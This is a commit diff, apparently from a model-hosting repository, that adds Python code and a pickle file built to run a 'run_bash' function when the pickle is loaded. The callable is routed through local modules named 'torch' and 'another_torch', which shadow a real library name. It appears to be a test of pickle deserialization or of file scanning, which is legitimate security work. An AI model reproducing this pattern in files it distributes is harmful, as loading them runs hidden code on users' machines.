dkteg
commited on
Commit
·
3686c33
1
Parent(s):
6454bdc
another test
Browse files
testfolder/__pycache__/torch.cpython-311.pyc
CHANGED
|
Binary files a/testfolder/__pycache__/torch.cpython-311.pyc and b/testfolder/__pycache__/torch.cpython-311.pyc differ
|
|
|
testfolder/vuln2.pkl
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:8241f3b433c6e6bc9b3367f1526282ae1a7145f644970d4cc4f62439cafabc15
|
| 3 |
+
size 36
|
testfolder/vuln_pickle.py
CHANGED
|
@@ -1,21 +1,30 @@
|
|
| 1 |
import pickle
|
| 2 |
import pickletools
|
| 3 |
-
|
|
|
|
| 4 |
|
| 5 |
|
| 6 |
class Vuln():
|
| 7 |
def __reduce__(self):
|
| 8 |
-
return (run_bash, ())
|
|
|
|
|
|
|
|
|
|
|
|
|
| 9 |
|
| 10 |
|
| 11 |
def run():
|
| 12 |
with open("vuln.pkl", 'wb') as f:
|
| 13 |
pickle.dump(Vuln(), f)
|
| 14 |
|
|
|
|
|
|
|
|
|
|
| 15 |
|
| 16 |
if __name__ == '__main__':
|
| 17 |
run()
|
| 18 |
with open("vuln.pkl", "rb") as f:
|
| 19 |
pickle.load(f)
|
| 20 |
|
|
|
|
| 21 |
|
|
|
|
| 1 |
import pickle
|
| 2 |
import pickletools
|
| 3 |
+
import another_torch
|
| 4 |
+
import torch
|
| 5 |
|
| 6 |
|
| 7 |
class Vuln():
|
| 8 |
def __reduce__(self):
|
| 9 |
+
return (another_torch.run_bash, ())
|
| 10 |
+
|
| 11 |
+
class Vuln2():
|
| 12 |
+
def __reduce__(self):
|
| 13 |
+
return (torch.run_bash, ())
|
| 14 |
|
| 15 |
|
| 16 |
def run():
|
| 17 |
with open("vuln.pkl", 'wb') as f:
|
| 18 |
pickle.dump(Vuln(), f)
|
| 19 |
|
| 20 |
+
with open("vuln2.pkl", 'wb') as f:
|
| 21 |
+
pickle.dump(Vuln2(), f)
|
| 22 |
+
|
| 23 |
|
| 24 |
if __name__ == '__main__':
|
| 25 |
run()
|
| 26 |
with open("vuln.pkl", "rb") as f:
|
| 27 |
pickle.load(f)
|
| 28 |
|
| 29 |
+
|
| 30 |
|